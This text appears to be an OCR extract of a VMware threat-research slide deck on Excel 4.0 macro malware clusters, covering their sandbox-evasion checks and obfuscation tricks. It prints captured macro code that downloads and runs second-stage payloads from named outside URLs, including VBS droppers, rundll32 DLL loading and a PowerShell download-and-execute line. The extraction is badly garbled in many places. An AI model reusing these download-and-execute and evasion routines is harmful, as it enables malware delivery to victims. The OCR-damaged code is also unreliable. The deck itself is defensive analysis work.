Vmwa reo Confidential | ©2020 VMware, Inc. =CALL("Shell32","ShellExecuteA","JJCCCJI",0,"open","C:\Windows\system32\rundll32.exe",Y16&",DIIRegisterServer",0,5)

ey =CLOSE(FALSE) "

+VbbAa(URQVcPQ][eNQ
+1/:0lcz\IIc@:2]e\Z](
+74)@10K1*01/::00c’Z[\0L
+/:3@B{IBVSle] YP]]YIQ(
+1/::MAVSZZ! AVSZZ3fY
+1:=A304/:A3]




Cluster 7: Deobfuscation

Result(s)

+4=>3<]@I0"K10

+4>=Al@I10K10 #[
+4@3/20@I0 K10 ##]
+41:=A3[@I0!K1[

Executed on Incorrect Day

+47:323:3B3[@10&K1[

+7407A<C;03@0A3/@160lll@I0!K1001:=A304/:A301

+1(JCas alll53BE=@9A>/13[ S[/A*20b0J:]Q0ZIBS[M 1D @Il@/<2(
+lVbbra(UWOgb]'sQ][eA ASeAT \bAVA]
+VbbAa(URQVcPQ][eA] “I\bAVA]
+1/:0lcz\IC@:2]e\Z] K1l@I0'k 200
+74]@10K1*01/::0c’z[\ 1188ll@10 K1l@|
+/:3@BlIBVSle] YP]]YIQ lPgl;wQJa]Tbl3
+1/::MAvszz! MAvVSzz3f 11(JEW\R]ealagak
+1:=A304/:A3[

vmware
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=IF(GET.WORKSPACE(13)<770,CLOSE(FALSE),)

=IF(GET.WORKSPACE(14)<390,CLOSE(FALSE),)

=IF(GET.WORKSPACE(19),,CLOSE(TRUE))

=IF(GET.WORKSPACE(42),,CLOSE(TRUE))
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,CLOSE(TRUE))
="C:\Users\"&GET.WORKSPACE(26)&"\AppData\Local\Temp\"&RANDBETWEEN(1,9999)&".reg"
="EXPORT HKCU\Software\Microsoft\Office\"&GET.WORKSPACE(2)&"\Excel\Security "&Y6&" /y"
=CALL("Shell32","ShellExecuteA","JJCCCII",0,"open","C:\Windows\system32\reg.exe",Y7,0,5
=WAIT(NOW()+"00:00:03")
=FOPEN(Y6)
=FPOS(Y10,215)
=FREAD(Y10,255)
=FCLOSE(Y10)
=FILE.DELETE(Y6)
=IF(ISNUMBER(SEARCH("0001",Y12)),CLOSE(FALSE),)
="C:\Users\"&GET.WORKSPACE(26)&"\AppData\Local\Temp\CVR"&RANDBETWEEN(1000,999¢
="https://gameaze.com/wp-content/themes/wp_data.php"
="https://friendoffishing.com/wp-content/themes/calliope/template-parts/wp_data.php"
=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,Y17,Y16,0,0)
=IF(Y19<0,CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,Y18,Y16,0,0),)

=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.”,2)
=CALL("Shell32","ShellExecuteA","JJCCCJI",0,"open","C:\Windows\system32\rundll32.exe",Y16&",DIIRegisterServer",0,5)
=CLOSE(FALSE)

Executed on Correct Day




Cluster 8: Morpho

Evasion:
Obtaining font size and row height

Checks for font size
GET.CELL®9,A1)

=FORMULA(1265/GET.CELL{1S A1)-GET CELL{17 A1) F153) |

Checks for row height 1
2 |=APP.MAXIMIZE()
GET.CELL(17,A) 3 | =FORMULA(CHAR(A41/F153)&CHAR(A42/F153)&CH
. 4 =FORMULA(CHAR(C43/F153)&CHAR(C44/F153)&CH/
These valugs are u;ed in the 5 |=FORMULA(CHAR(D41/F153)&CHAR(D42/F153)&CH;
deobfuscation routine 6 =GOTO(BG) =FORMULA(CHAR(H58/F
If these values are incorrect, the z FOCMISERRRI S F
payload will not be deobfuscated = SRR L
properly, thus will not execute 2 Deobfuscation routine using Al —CHAB{PIS/CITTJRCHA
’ 10 =CHAR(Q48/F153)&CHA
1l =GOTO(D11)
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Cluster 9 Ca mo BOUNDSHEET : Sheet Information Excel macro sheet, hidden

BOUNDSHEET : Sheet Information Excel macro sheet, hidden
BOUNDSHEET : Sheet Information Excel macro sheet, hidden
BOUNDSHEET : Sheet Information Excel macro sheet, hidden
BOUNDSHEET : Sheet Information Excel macro sheet, hidden
. BOUNDSHEET : Sheet Information - Excel macro sheet, hidden
Evasion: BOUNDSHEET : Sheet Information - Excel macro sheet, hidden
BOUNDSHEET : Sheet Information - Excel macro sheet, hidden
Payload iS hldden amOng dozens BOUNDSHEET : Sheet Information Excel macro sheet, hidden
BOUNDSHEET : Sheet Information Excel macro sheet, hidden
Of Macro Sheets BOUNDSHEET : Sheet Information Excel macro sheet, hidden
BOUNDSHEET : Sheet Information - Excel macro sheet, hidden
Attempt to b|end in Wlth benign BOUNDSHEET : Sheet Information - Excel macro sheet, hidden
BOUNDSHEET : Sheet Information Excel macro sheet, hidden
Xl—4 WorkbOOkS that tend tO have BOUNDSHEET : Sheet Information Excel macro sheet, hidden
mu|t|p|e macro Sheets BOUNDSHEET : Sheet Information - Excel macro sheet, hidden
BOUNDSHEET : Sheet Information - Excel macro sheet, hidden
. . BOUNDSHEET : Sheet Information Excel macro sheet, hidden
Ma|Wa re (at the tlme Of thIS BOUNDSHEET : Sheet Information Excel macro sheet, hidden
cluster) typ|Ca||y has 1-2 BOUNDSHEET : Sheet Information - Excel macro sheet, hidden
: BOUNDSHEET : Sheet Information Excel macro sheet, hidden
Unhide ? X BOUNDSHEET : Sheet Information Excel macro sheet, hidden
Unhide sheet: BOUNDSHEET : Sheet Information Excel macro sheet, hidden
T I AR, -~ BOUNDSHEET : Sheet Information - Excel macro sheet, hidden
Eg’é"g;uﬁ BOUNDSHEET : Sheet Information - Excel macro sheet, hidden
Macro3 BOUNDSHEET : Sheet Information - Excel macro sheet, hidden
mgggg BOUNDSHEET : Sheet Information - Excel macro sheet, hidden

Macrob BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible
Macro7 ¥ LABEL : Cell Value, String Constant - build-in-name 1 Auto_Open

Vmwar OK Cancel




Cluster 10: Noname

Name Manager ? X
Edit... Delete | Fiter~ '
Eva S | O n . Name Value Refers To Scope Comment
Hidden name for Auto_ Open function Before
Attempt to thwart manual analysis and perhaps |
signatures specific to non-hidden Auto_Open Nameaume rox
name | New.. || Edt. || Deete | Eilter ~
Name Value Refers To Scope Comment
@ g26e9f FALSE =IC6dVqIx710091j... Workbook
Refers to:
. Kllv
Hidden Auto_Open After
000037F0 [21] 00 00 06 07 00 00 00 00 00 00 00 00 00 00f01] '......ennn....
00003800 OSA 36 65 39 66 3A 00 00 CF FC 3D 00 C1 01 08 00 zZée9f:..fu=.A...
Refers to:
2 ¥ | =IC6dVqlx71009 LiEvmjHayaet4SRil! $81$64720 5.5
dose J
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Cell Value Formula
$CB$914 FALSE  =SET.VALUE(AM40048, -169/5)
C | uster 1 O cont. .. ¢8D$1530  FALSE  =SET.VALUE(HC57123, GET.CELL(24,0D21923)--207)
§C7$2767  FALSE  =SET.VALUE(HE39945, GET.CELL(24,061780)--363)
Cell Value Formula T.VALUE(FT25500, -102/2)
, T.VALUE(HI32629, GET.CELL(S0,BT28864) +185-4)
§C242768  FALSE  =GOTO(FT28983) T.VALUE(O57488, -375-GET.CELL(8,AE43750)*8)
$AS$3460  FALSE  =GOTO(IG29530) T.VALUE(AQ62634, GET.CELL(50,1G 17639) +254-4)
Evasion: $HM$3487  FALSE  =GOTO(CN17356) T.VALUE(BF50659, 123-GET.CELL(8,FT3771)%4)
Cel vikis | Periida =GOTO(DD3419) T.VALUE(GV65208, -307-GET.CELL(8,GW11917)*5)
, =GOTO(BQ54554) T.VALUE(DY56866, 18-GET.CELL(8,HA54776)*10)
Control flow obfuscation in iy SrE SRHEeTee =GOTO(L47505) T.VALUE(AV26756, GET.CELL(38,FB65326)-326/8)
£ . . §¥CB§I15 FALSE iRUN(C" 54688) =GOTO(FQ64114) T.VALUE(BO62961, GET.CELL(24,AE36278)-276)
d eo b UuSCa tl on rou tl ne 58051531 FALSE =RUN(AE63305) =GOTO(AB36732) T.VALUE(GE 39337, GET.CELL(50,BF56019)+70-5)
1. SET.VALUE §EQ$N71  FALSE =RUN(FL57196) =GOTO(GI24120) T.VALUE(AB22341, 14-GET.CELL(8,BD1871)*4)
. . $IKs2301 FALSE ~ =RUN(DL27653) =GOTO(BD1530) T.VALUE(CH64837, GET.CELL(50,1A31579) +-468-10)
2. GOTO $DD$3420  FALSE  =RUN(A24865) =GOTO(N20694) T.VALUE(DP 15799, 377-GET.CELL(8,DH27100)*2)
$8$7653 FALSE  =RUN(CJ13973) =GOTO(IG35731) T.VALUE(F2
3. RUN $ARS =RUN(BO22217) 4) T.VALUE(F 17,A148654))
sswsq JUMP  |=runEzss4ss) JUMP g9 Tvaer{ Decode  |asraisr24)
=SET.VALUE(DH20798, 13- $DBS3 =RUN(GO41402) ) T.VALUE(l 60111)+174-4)
GET.CELL (8 AU16 576) * 5) §HX$15455  FALSE  =RUN(GZ33005) =GOTO(HT 19387) [T.VALUE()40321, GET.CELL(24,HX39641)-267)

7 §1Q$16931 FALSE  =RUN(B7651) =GOTO(FY42035) IT.VALUE(CC47235, GET.CELL(24,EC37639)-453)
=GOTO(BY54678) SGN$16963  FALSE  =RUN(AR12860) ~GOTO(HQ29506) T.VALUE(DQS1772, GET.CELL(50,HN44393)+34-4)
—— JUMPS TO — §ON$17357 FALSE  =RUN(HYS0798) —GOTO(F158210) T.VALUE(GH63237, GET.CELL(50,1557634) +453-4)

EHETSIS FASE  =RUNIDI9S) —~GOTO(GP62912) T.VALUE(AI64984, GET.CELL(24,AZ59513)--289)
=SET.VALUE(FA2612, 117- $CBSI18141  FALSE  =RUNDQ28297) | =GOTO(HF14944) TOALRARSIS, sy
GET.CELL(8,DT54864)*2 P o TR | e

- (8, )*2) $AX$20017  FALSE  =RUN(IK2300) =GOTO(CZ2767)
=GOTO(FE40194) $BL$20047  FALSE  =RUN(BM25351) =GOTO(AA62392)
—— REPEAT -- $BF$20204  FALSE  =RUN(DY60463) =GOTO(GW8561)
§N§20695  FALSE  =RUN(ER17936) =GOTO(HP46219)
¢FS$21877  FALSE  =RUN(FE36035) =GOTO(IR 58408)
o €80$22218 FALSE  =RUN(IA37866) =GOTO{FL 19966)
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Cluster 11: Window

' Single Step X

Cel: [11f71766d280e26763742573fae 133a51dbbca8b.xIs]Sheet2!BZ27635

. . . Formula:
Evasion routine checks for: —FORMULA.FILL(CHAR (GD49527*A149438) &CHAR (FS3255/CM48 128) &CHAR (
GD49527-DQ55003)&CHAR (FG34950-GL52032)&CHAR (027594-+DK64928)&:
CHAR (GD49527+K20215)&CHAR (IH63372-DH 16682)&CHAR (CP35434*BE59883)

Hidden window SCHAR(FS3255/1018323)&CHAR (GD48527-+1K29821) &CHAR (FS3255-+BE 14438)
. : StepInto | | Evaluate ||  Hat | Goto |
Maximized window e % L
Step Over | | Pause | Contnue | | Help

Single-step mode
IF(GET.WINDOW(7) ,GOTO(R[7706]C[143]),) HIDDEN WINDOW (BOOL)
IF(GET.WINDOW(20), ,GOTO(R[25745]C[202])) MAXIMIZED WINDOW (BOOL)
IF(GET.WINDOW(23)<3,G0TO(R[3254]C[118]),) MAXIMIZED WINDOW

=FORMULA(GET.WINDOW(7),B1) FALSE
=FORMULA(GET.WINDOW(20),82)  TRUE
'=FORMULA(GET.WINDOW(23),B3) 3

=FORMULA(GET.WORKSPACE(31),84) FALSE

1 = RESTORED

2

MINIMIZED

hw N e

3 = MAXIMIZED

IF(GET.WORKSPACE(31),GOTO(R[-1988]C[176]).,) MACRO RUNNING IN SINGLE STEP MODE (BOOL)
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Cluster 12: MID Example

A B C
1 =FORMULA(MID(B1,1,3), C1) LASTLINE LAS
2 =FORMULA(MID(B2,4,3), C2) LASTLINE TU
3 =FORMULA(MID(B3,6,3), C3) LASTLINE INE

Obfuscation:;

=FORMULA(MID(GA64790, 12, 1)&MID(DC41575, 3, 1)&MID(GA64790, 18, 1)&MID(GA64790,9, 1)&MID(GA 32830, 5, |
Heavy usage of the MID =FORMULA(MID(GA64790, 12, 1)&MID(DC41575, 3, 1)&MID(GA32830, 17, 1)&MID(H32755, 10, 1) &MID(H32755, 10, 1
; . =FORMULA(MID(AU64533, 12, 1)&MID(BU 1256, 14, 1) &MID(DO39306, 4, 1)&MID(FT 24695, 14, 1) &MID(AU64533, 7, 1
function in place of the CHAR =FORMULA(MID(GA64790, 12, 1)&MID(U 17889, 5, 1)SMID(U 17889, 2, 1)&MID(DC41575,9, 1)&MID(U 17889, 5, 1)&MI
function =FORMULA(MID(GA64790, 12, 1)&MID(U 17889, 14, 1) &MID(GA 32830, 4, 1) &MID(DC41575, 14, 1) &MID(DC41575, 18]
=FORMULA(MID(GA64790, 12, 1)&MID(U 17889, 2, 1) &MID(U 17889, 14, 1)&MID(U 17889, 1, 1) &MID(GA64790, 16, 1)&]
Used to extract text/substring =FORMULA(MID(GA64790, 12, 1)&MID(U 17889, 5, 1)&MID(U 17889, 2, 1)&MID(DC41575,9, 1)&MID(U 17889, 3, 1) &MI
, =FORMULA(MID(GA64790, 12, 1)&MID(U 17889, 5, 1)&MID(U 17889, 2, 1)&MID(DC41575,9, 1)&MID(U 17889, 3, 1) &MI

from string =FORMULA(MID(GA64790, 12, 1)&MID(U 17889, 5, 1) &MID(U 17889, 2, 1) &MID(DC41575,9, 1) &MID(U 17889, 3, 1) &MI
=FORMULA(MID(AU64533, 12, 1)&MID(FT 24695, 3, 1) &MID(DO 39306, 17, 1) &MID(CD27188, 10, 1) &MID(CD 27188, 1
May break obfuscation-related =FORMULA(MID(GA64790, 12, 1)&MID(U17889, 5, 1)&MID(U 17889, 2, 1)&MID(DC41575,9, 1) &MID(U 17889, 3, 1) &MI
: =FORMULA(MID(GA64790, 12, 1)&MID(DC41575, 3, 1)&MID(GA64790, 18, 1) &MID(GA64790,9, 1)&MID(GA 32830, 5, |
signatures that expect CHAR =FORMULA(MID(GA64790, 12, 1)&MID(U17889, 5, 1)&MID(U 17889, 2, 1)&MID(DC41575,9, 1)&MID(U 17889, 3, 1) &MI

Download check: =FORMULA(MID(CK39097,12,1)&MID(BX63150,2,1) &MID(BX63150,5,:
=FILES(CX29183 !

FILES and ISERROR functions =RUN(GW51947) =FORMULA(MID(CK39097,12,1)&MID(BX63150,5,1
are used to check if download =IF(ISERROR(DN22166),GOTO(DQ7186), l

succeeded =GOTO(BN4731)

vmware |(- Je | ="https://docs.microsoft.com/en-us/officeupdates/office-msi-non-security-updates"
EE eSS




Cluster 13: Relative Reference

Obfuscation:

Relative reference and FORMULA.FILL
to decode & move payload
FORMULA.FILL(*=CHAR(R[29040]CI[-
203])”,)

Payload is decoded by concatenating
ASCII| character

Evasion :
VBS script to read this registry key
VBS script invoked using explorer.exe

Check for execution environment

mwareo Confidential | ©2020 VMware, Inc.

20829)|[=CHAR(R[29040]C[-203)) » ‘2986938
20830/ =CHAR(R[29040]C(-203]) » 49870 44
20831 =CHAR(R[29040]C[-203]) » 49871 99
20832 =CHAR(R[29040]C[-203)) I 49872 86
20833| =CHAR(R[29040]C(-203]) 49873 54
20834 =CHAR(R[29040]C[-203]) I 49874 40
20835 =CHAR(R[29040]C(-203]) | 49875 51
20836/ =CHAR(R[29040]C([-203]) | 49876 49
20837 | =CHAR(R[29040]C[-203]) I 49877122
20838 =CHAR(R[29040]C[-203)) 49878 58
20839 =CHAR(R[29040]C[-203]) | 49879 68
20840 =CHAR(R[29040]C[-203]) » 49880 95
20841 =CHAR(R[29040]C[-203]) » 40881!81
IF (GET .WINDOW(7) , GOTO (R4245C165) , ) Close File after Execution

IF(GET.WINDOW(20), ,GOTO(R4245C165))
IF(GET.WINDOW(23)<3,G0TO0(R4245C165),)
IF(GET.WORKSPACE(31),GO0T0O(R4245C165),)
IF(GET.WORKSPACE(13)<770,G0OTO(R4245C165),)
IF(GET.WORKSPACE(14)<390,G0T0(R4245C165),)
IF(GET.WORKSPACE(19), ,GOTO(R4245C165))
IF(GET.WORKSPACE(42),,G0T0O(R4245C165))
IF(ISNUMBER(SEARCH("Windows" ,GET.WORKSPACE(1))), ,GOTO(R4245C165))
"C:\Users\Public\kWFfXn.vbs"
"C:\Users\Public\WlTuert.txt"
FOPEN(R4256C165,3)

FWRITELN(R4258C165,"0n Error Resume Next")

FWRITELN(R4258C165,"Set e5MS = CreateObject(""
FWRITELN(R4258C165,"Set inse42 = CreateObject(
FWRITELN(R4258C165, "Set xHw7rhsb = insed42.Crea
)")

FWRITELN(R4258C165, "xHw7rhsb.WritelLine(e5MS.Re

VBS script to read
.| registry

ffice\"&GET.WORKSPACE(2)&"\Excel\Security\VBAWa
FWRITELN(R4258C165, "xHw7rhsb.Close")
FCLOSE(R4258C165)

EXEC("explorer.exe "&R4256C165&"")
WHILE (ISERROR(FILES(R4257C165)))
WAIT(NOW()+"00:00:01")
NEXT ()
FILE.DELETE(R4256C165)

nings""))")

FCLOSE(R4271C165)
FILE.DELETE(R4257C165)
IF (ISNUMBER(SEARCH("1", 72C165) ) ,GOTO0(R4245C165), )

IF (ISNUMBER(SEARCH("32",GET.WORKSPACE(1))),GOTO(R65132C95),G0TO(R7171C92))

i Lt LN / Check 32-bit or 64-bit machine
2
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Cluster 13: Payload

32-Bit:
URLDowloadToFileA Download,
ShellExecuteA to invoke 2nd
stage payload

64-Bit :

VBS script to download 2nd Stage

Payload

Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.0) as User Agent

VBS script executed using
explore.exe

vmware

Confidential | ©2020 VMware, Inc.

="C:\Users\Public\SaCd.html"
="C:\Users\Public\a2y.vbs"
=FOPEN(R36428C119,3)

=FWRITELN(R36429C119,"DWC7 = ""https://reinin.tw/wp-keys.php""")
=FWRITELN(R36429C119,"0TosW3Mc = ""https://legendcoder.com/wp-keys.phpl"") E)()\AIf]l()Ei(j
=FWRITELN(R36429C119,"KShb8 = ""https://pullingmezcnarcmer.tk/wp-keys.php""'
=FWRITELN(R36429C119,"DQF3r = ""https://ruibrunconcallconsta.tk/wp-keyp.php' LJFQ[.S

=FWRITELN(R36429C119,"TUWjUwe = Array(DWC7,0TosW3Mc,KShb8,DQF3r)")
=FWRITELN(R36429C119,"Dim JJJZbuKZ: Set JJJZbuKZ = CreateObject(""MSXML2.Server

)

=FWRITELN(R36429C119, "Function a7neqbR(data):"
=FWRITELN(R36429C119,"JJJZbuKZ.setOption(2) =
=FWRITELN(R36429C119,"JJJZbuKZ.0Open ""GET"", ddta,
=FWRITELN(R36429C119, "JJJZbuKZ.setRequestHea L

Http GET request, user agent:
Mozilla/4.0

E 6.0; Windows NT 5.0)""")
=FWRITELN(R36429C119,"JJJZbuKZ.Send")
=FWRITELN(R36429C119,"a7neqbR = JJJZbuKZ.Status")
=FWRITELN(R36429C119,"End Function")
=FWRITELN(R36429C119,"For Each EpV in TUWjUwe")
=FWRITELN(R36429C119,"If a7neqbR(EpV) = 200 Then")
=FWRITELN(R36429C119,"Dim pRKP: Set pRKP = CreateObject(""ADODB.Stream"")")
=FWRITELN(R36429C119, "pRKP.Open")
=FWRITELN(R36429C119, "pRKP.Type = 1")
=FWRITELN(R36429C119, "pRKP.Write JJJZbuKZ.ResponseBody%
=FWRITELN(R36429C119, "pRKP.SaveToFile """&R36427C119&'1"",
=FWRITELN(R36429C119, "pRKP.Close")
=FWRITELN(R36429C119,"Exit For")
=FWRITELN(R36429C119,"End If")
=FWRITELN(R36429C119, "Next")
=FCLOSE(R36429C119)
=EXEC("explorer.exe "&R36428C119&")')
=WHILE(ISERROR(FILES(R36427C119)))
=WAIT(NOW()+"00:00:01")

=NEXT()

=FILE.DELETE(R36428C119)

=ALERT("The workbook cannot be opened or repaired by Microsoft Excel because it is corrupt.")
="C:\Users\Public\xEnkmgnz.vbs" —_
=FOPEN(R36461C119,3)
="rundll32.exe"

=R36427C119&" ,D1l1RegisterServer"
="C:\Windows\System32"
=FWRITELN(R36462C119,"Set u6S] = GqTUB
=FWRITELN(R36462C119, "u0SJ.Document].Ap
&""", """§R36465C119&" """ ,Null,0")
=FCLOSE(R36462C119)

=FYEr("avnlarar ava "SRIKARICr110L49)

Response body (DLL),
Saved in file

Executes download
script

Drop DLL loaded using explorer.exe
scripts

St

4C119
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Cluster 13: Variant

175

Replaced IF condition used for 63981|=CLOSE(FALSE)

) . heck 63982 =LEN(APP.MAXIMIZE())+722
execution environment chec 63983 ~LEN(GET.WINDOW(7))+797
, 63984 =LEN(GET.WINDOW/(20))+-337
The dependency on the execution 63985 =LEN(GET.WINDOW(23)=3)+-996
environment to generate payload code 63986 =LEN(GET.WORKSPACE(31))+731 /| Execution
63987 =LEN(GET.WORKSPACE(13)>770)+-549 | Environment
Returned value generates ASCI| 63988 =LEN(GET.WORKSPACE(14)>390)+-149 | Check
characters to payload 63989 =LEN(GET.WORKSPACE(19))+-129
63990 =LEN(GET.WORKSPACE(42))+132 _
Execution environment dependency 63991 =R63987C175+631 |
evade static deobfuscator | ~R03984C175+423 Value Calculated based
63993 =R63987C175+660 ohn the Execution
63994 =R63985C175+1024 B Environment’
63995 =R63984C175+389 Then converted to Char
63996 =R63986C175+-635 using
=CHAR()
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Cluster 14: Custom Function Name

EX FB

comss  ncaTER KMy G uGITe| CUSIOM function name

. o . = m SY, v ,U ,0 H
REGI.STERols used to register windows - —epiCKIrC(afMUVTYYD,0) referred using Label
function with custom names 50856 —epjCKIrC(LkkMUgJcl,0)
/ ’]50857 =REGISTER(nSfeuxBsR,KcCenhz, XIPWmNN,IEPgVRE,,1,9)
. . . /
Windows function are called using /,~ 50858 =UJITkWgB(0,EWTpLkpl,uvVvHBTQmI,0,0)
custom name // 50859 =IF(5FB350858<> Function call using
/e seene S custom name
=Liowanm ,uvv mi, L
Use of label and cell address to access - P
, 50862 =END.IF()

string 50863 =REGISTER(QQrzNoJ,xWDgvc,hSNCWN,ggSanP,,1,9)

50864 =ygQsXVDr(0,msozDSno,EiuuKORIJh,,0,0)
Evades static deobfuscator to extra(st 50865
useful strings like function name, DL%_\ " Single Step X
name, URLSs, etc. N\ N\ Cell: [3c02d2641656¢7061e6f89b7571f6{87efd8265 .xIs]fb!FBS0857

N L > Formula:
=REGISTER"URLMON","URLDownloadToFileA", JJCCI)","UlTkWaB" 1.9)
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Cluster 14: Variant

Variant 1:

De-obfuscation by
concatenating sprinkled
character

Sheet updated with de-
obfuscated string using
FORMULA.FILL

Variant 2:

The seed values are sprinkled in
the group, terminated with end
of sequence marker

Variant 1:

22412I=FORMULA.FI LL(SCHS16946&S$SXS44255&SCVS38361
22413 |SCUS23543&5SGXS33166&SXS1737&SFWS7921&

22414 SINS16245&SDHS38040&5G1S$S33850&5BDS28771
22415 SANS4902&5$BIS8178&SFQS20918&SHGS36778&
22416 SBXS52819&SEESS50952&SBRS6477&5S0548008
22417 SAISA827&SARS2876&S$SIS37228&5Z555288& 5453648

22420 SFPS4419&SAYS23726&SEMS14627&SEC
22421 SIFS59705&SBRS18683&SHYS20926&SH
22422 SHTS52090&SCUS41120&SFFS26707&YANS23517&

22423 SGWS25137&SCUSS57400&SFLS23197/45BBS54)

Variant 2;

3066

3067 xBQImvGB=$FL$20866

3068
3069
3070

Loop3071

Label used as pointer to the
access cell
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3072
3073
3074
3075

EWTpLkpl=""

etMgzujPY=SPS$28572

=IF(etMgzujPY<>"qltxYMK")
QkaRfpYYLxZvIW=etMgzujPY
EWTpLkpl=EWTpLkpl&xBQImvVGB()
etMgzujPY=ABSREF("R[1]C",etMgzujPY)

=$7$3069()
=END.IF()
=SEP$36212()

End of sequence
Marker

28572
28573
28574
28575
28576
28577
28578
28579
28580
28581
28582
28583
28584
28585
28586
28587
28588
28589
28590
28591
28592
28593
28594
28595
28596
28597

28598

220
232
232
228
174
163
163
168
169
162
165
168
164
162
165
170
162
170
163
213
228
221
162
228
220
228
qltxYMK
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Cluster 15: PowerShell

Very hidden flag is

--pluginoptions "-x" ./../../xl4followup/sample_15_6_pow

enabled 1: 4096 '\x05DocumentSummaryInformation'
2 4096 '\x05SummaryInformation’
3: 161729 'Workbook'
: H Plugin: BIFF plugin
NOt wea ponlzed Wlth 0085 12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden - Mcr@
icti 1 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheetl
SOphlStlcated evaSIOn/ 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet2
Obfu Scation technique 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet3

0018 31 LABEL : Cell Value, String Constant - Application.Quit len=0
0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet1!R9591C1
0018 26 LABEL : Cell Value, String Constant - gefg len=7 ptgRef3d Mcr@!R1C1

Invokes powershell.exe 0006 26 FORMULA : Cell Formula - R2C1 len=4 ptgFuncVarV args @ func RETURN (0x@037)
0006 32 FORMULA : Cell Formula - R9589C1 len=10 ptgInt 96 ptgInt 1 ptgAdd ptgFuncV CHAR (0x006f)
from the Macro. 0207 4 STRING : String Value of a Formula -

'0006 168 FORMULA : Cell Formula - R9592C1 len=146 ptgStr "powershell.exe -Command IEX (New-Object(\'Net.WebClie
nt\')).\'DoWnlo" ptgAttr ptgRefV R9589C1 ptgAttr ptgConcat ptgAttr ptgStr "dsTrInG\'(\'ht\'+\'tp://brutecleaner.com/Sheet.ps1\')" pt

gAttr ptgConcat ptgFuncVarV args 1 func EXEC (0x006e) '
Download and exeCUteS "0006 27 FORMULA : Cell Formula - R29999C1 len=5 ptgNameV *INCOMPLETE FORMULA PARSING* Remaining, unparsed exp

PowerShell Script as 2nd ression: '\\x01\\x00\\x00\\x00""
0006 26 FORMULA : Cell Formula - R30007C1 len=4 ptgFuncVarV args 0 func HALT (0x0036)
stage malware.
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The Technigues
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Evasion Techniques Breakdown .
Screen @ 10+ Single
Dimensio Cell White Cells Download Day of Sub + |Macroshe [Hidden [Hidden [Maximize [Step
Cluster|Mouse Audio OS ns Font Size [Height Font Scattered |Size "LOS" "C" Month Sub [Div ets Names [Window [d Window|Mode

1 TRUE TRUE TRUE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
1I TRUE TRUE II | SE TRUE FALSE FALSE TRUE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
2] FALSE FALSE II EnV CheCkS EVO | SE FALSE FALSE FALSE FALSE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
2] TRUE TRUE I SE TRUE FALSE FALSE TRUE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
3] TRUE TRUE TRUE TRUE FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
4] TRUE TRUE TRUE TRUE FALSE FALSE TRUE FALSE FALSE FALSE TRUE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
5] TRUE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
5] TRUE TRUE TRUE TRUE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
5] TRUE TRUE TRUE TRUE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
FALSE FALSE FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
TRUE TRUE TRUE TRUE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE

6] TRUE TRUE TRUE TRUE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
6] TRUE TRUE TRUE TRUE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
71 TRUE TRUE TRUE TRUE TRUE TRUE FALSE FALSE TRUE FALSE FALSE TRUE FALSE | FALSE FALSE FALSE FALSE FALSE
8] TRUE TRUE TRUE TRUE TRUE TRUE FALSE FALSE TRUE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE
8] TRUE TRUE TRUE TRUE TRUE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
8] TRUE TRUE TRUE TRUE TRUE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
8] TRUE TRUE TRUE TRUE TRUE TRUE FALSE FALSE TRUE FALSE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE
FALSE FALSE FALSE FALSE FALSE FALSE TRUE TRUE FALSE FALSE FALSE FALSE FALSE | FALSE FALSE FALSE FALSE FALSE

9] TRUE TRUE TRUE TRUE TRUE TRUE FALSE TRUE FALSE FALSE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE
1OI TRUE TRUE TRUE TRUE TRUE TRUE FALSE TRUE FALSE FALSE FALSE FALSE TRUE FALSE TRUE FALSE FALSE FALSE
11I TRUE TRUE TRUE TRUE TRUE TRUE FALSE TRUE FALSE FALSE FALSE FALSE FALSE | FALSE TRUE TRUE TRUE TRUE
12] TRUE TRUE TRUE TRUE TRUE TRUE FALSE TRUE FALSE FALSE FALSE FALSE FALSE | FALSE TRUE TRUE TRUE TRUE
13] TRUE TRUE TRUE TRUE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE | FALSE TRUE FALSE TRUE TRUE
14 TRUE TRUE TRUE TRUE FALSE FALSE FALSE TRUE FALSE FALSE FALSE FALSE FALSE | FALSE TRUE FALSE FALSE FALSE
